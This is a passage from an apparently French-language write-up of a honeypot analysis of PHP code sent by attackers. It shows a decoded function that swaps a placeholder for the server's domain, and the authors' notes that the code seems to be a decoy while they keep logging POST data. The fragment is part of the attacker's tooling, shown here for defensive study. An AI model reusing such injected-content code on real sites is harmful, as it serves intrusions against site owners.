   }
   
   $replace = (empty($replace) AND ! empty($_SERVER['SERVER_NAME'])) ? $_SERVER['SERVER_NAME'] : NULL;
   $replace = (empty($replace) AND ! empty($_SERVER['HTTP_HOST'])) ? $_SERVER['HTTP_HOST'] : NULL;
   
   $domains = @explode(".", $replace);
   if(!empty($domains))
   {
       $level1 = @array_pop($domains);
       $level2 = @array_pop($domains);
       $replace = $level2.".".$level1;
   }
   
   return str_replace("[FHOST]", $replace, $content);
 }

Sur plusieurs envois, pour le moment ce code est toujours le même. Reste maintenant à savoir si ce code est interprété ou si c'est un leurre (nous cherchions projectcode et nous avons décrypté ici code), ainsi que de voir de plus près ce qu'il contient.

Étape 2, voir si ce code est utilisé quelque part

Ce code ne semble pour autant utilisé nulle part. De plus, c'est $_POST['projectcode'] que nous attendions. Nous avons bien pensé à une vérification par exemple de la signature md5 du fichier PHP exécuté pour éviter des fuites d'information aux anti-crackeurs, mais nous enregistrons toutes les données en POST dès avant toute vérification possible.

Nous laissons donc le filet ouvert afin de laisser le poisson se piéger dedans. Suite au prochain épisode.

Ressources externes

http://forums.whirlpool.net.au/archive/2072084

Catérogie:Informatique